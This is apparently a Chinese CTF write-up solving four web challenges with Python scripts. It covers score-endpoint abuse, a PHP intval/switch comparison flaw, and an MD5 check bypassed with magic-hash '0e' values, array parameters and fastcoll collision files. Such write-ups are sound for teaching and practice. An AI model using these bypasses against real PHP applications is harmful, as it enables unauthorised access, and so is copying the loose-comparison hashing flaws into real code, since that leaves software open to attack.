judge
上代码不解释了:P 随便写的,写的不太好
import requests
import re
import time
url = "http://149.129.103.121:8008/"
s=requests.session()
for i in range(20):
r = s.get(url)
view = r.text
question = "".join(re.findall("<div>(.*?)=.*?</div>",view))
answer = "".join(re.findall("<div>.*?=(.*?)</div>",view))
right = str(eval(question))
if(right==answer):
data = {'answer':'true'}
else:
data = {'answer':'false'}
time.sleep(1)
rr = s.post(url,data=data)
print(rr.text)
snake
游戏结束,抓包发现有一个getScore.php,每次访问都会增加积分,但是访问太快积分会清零,写脚本不断去访问,每次执行休眠2s:
import requests
import time
url = "http://149.129.103.121:8009/getScore.php"
s=requests.session()
for i in range(52):
r = s.get(url)
view = r.text
print(view)
time.sleep(2)
幸运大杂烩
抓包看到了响应头的hint,依次解16进制、base32和base64得到hint:vim~
于是尝试在url后输入/index.php~得到如下源码:
<?php
header('content-type:text/html;charset=utf-8');
include './flag.php';
error_reporting(0);
if(empty($_GET['id'])){
header('location:./1ndex.php');
}else{
$id = $_GET['id'];
if (!is_numeric($id)) {
$id = intval($id);
switch ($id) {
case $id>=0:
echo "快出去吧,走错路了~~~<br>";
echo "这么简单都不会么?";
break;
case $id>=10:
exit($flag);
break;
default:
echo "你走不到这一步的!";
break;
}
}
}
?>
输入不为数字的参数id,且参数不能>=0,可参数必须>10。(???
认真分析了下,如果传入一个不是数字的参数时,函数intval()返回0,也就是switch(0)。
$id>=0也就是0>=0,返回真(1);
$id>=10也就是0>=10,返回假(0),退出整个代码,显示flag。
audit
这道题想做很久了,但是代码太长了最近又没时间不能好好静下心来,咕咕了好久。
<?php
highlight_file(__FILE__);
include('flag.php');
$str1 = @$_GET['str1'];
$str2 = @$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = (string)@$_POST['str5'];
$str6 = (string)@$_POST['str6'];
$str7 = (string)@$_POST['str7'];
if( $str1 == $str2 ){
die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
die('step 1 fail');
}
if( $str3 == $str4 ){
die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
die('step 2 fail');
}
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
die('step 3 fail');
}
if(!($_POST['a']) and !($_POST['b']))
{
echo "come on!";
die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];
if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6))
{
echo "a OR b fail!";
die();
}
if ((strlen($m) > 4) || (strlen($n) > 4))
{
echo "m OR n fail";
die();
}
$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);
echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";
if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
echo "You're great,give you flag:";
echo $flag;
}
前面都好说,考的是PHP的黑魔法,主要是在这里:
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
die('step 3 fail');
}
可以利用Three way MD5 collision给的三个图片强行碰撞,(偷偷存一下这个笔记:戳我。
此外,还可以用md5快速碰撞工具fastcoll生成,生成四个md5值相同的文件的方法如下:(还需要用到tail工具)
【先生成两个MD5值相同的文件】
fastcoll_v1.0.0.5.exe -o test0 test1
【然后根据test1再生成两个MD5值相同的文件,此时test00,test01的MD5值相同】
fastcoll_v1.0.0.5.exe -p test1 -o test00 test01
【将test00的最后128位写入文件a,(-c 128 表示最后128位,tail读文件是从后往前读的,这128位正是test1和test00MD5不同的原因),同理处理一下test01】
tail.exe -c 128 test00 > a
tail.exe -c 128 test01 > b
【执行type命令将test0和a的内容写进test10中,将test0和b的内容写入test11】
type test0 a > test10
type test1 b > test11
这样就生成了test00,test01,test10,test11四个MD5值相同的文件。
通过python脚本将文件上传:
import requests
url = "http://149.129.103.121:8003/?str1=240610708&str2=QNKCDZO&str3[]=1&str4[]=2"
s = requests.session()
data = {'str5':open("test00", 'rb'),'str6':open("test01", 'rb'),'str7':open("test10", 'rb')}
rr = s.post(url,data=data)
print(rr.text)
回显come on!,OK我们继续,接下来要做的事是让$str8和$str9相等。仔细看这一行语句:
if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
第一个比较用的是“==”而不是全等,所以可以用PHP的黑魔法,0e开头的md5就可以绕过,又因为$a必须是大写字母,所以$a很容易确定是QNKCDZO。对于$b可以使用脚本进行碰撞。
$b的md5形式又要替换几个东西赋值给$str9变量,且$m和$n都不能大于4,我刚开始写了正常六位数字md5的脚本进行碰撞(脚本丑陋:
import hashlib
import re
b = '0987654321'
for q in b:
for w in b:
for e in b:
for r in b:
for t in b:
for y in b:
count = 0
strr = str(q)+str(w)+str(e)+str(r)+str(t)+str(y)
md5 = hashlib.md5(strr.encode('utf-8')).hexdigest()
if (re.findall('^0e.(.*?)',md5)):
for i in md5:
if (ord(i)>=97 and ord(i)<=122):
count += 1
if(count <= 4):
print(strr+" ====>"+md5)
运行后仅得到:
712842 ====>0e95f93717197350750300734ae63001
因为e冲突了,所以这种方法不能用,想到is_numeric还识别十六进制,尝试十六进制的碰撞:
import hashlib
import re
b = '0987654321'
for q in b:
for w in b:
for e in b:
for r in b:
count = 0
strr = "0x"+str(q)+str(w)+str(e)+str(r)
md5 = hashlib.md5(strr.encode('utf-8')).hexdigest()
if (re.findall('^0e.(.*?)',md5)):
print(strr+" ====> "+md5)
运行后我一眼相中了这个Q Q,完美符合我的要求:

最后脚本如下,运行后得到flag:
import requests
url = "http://149.129.103.121:8003/?str1=240610708&str2=QNKCDZO&str3[]=1&str4[]=2&m=acfd&n=1111"
s = requests.session()
data = {
'str5':open("test00", 'rb'),
'str6':open("test01", 'rb'),
'str7':open("test10", 'rb'),
'a':'QNKCDZO','b':'0x6758'
}
rr = s.post(url,data=data)
print(rr.text)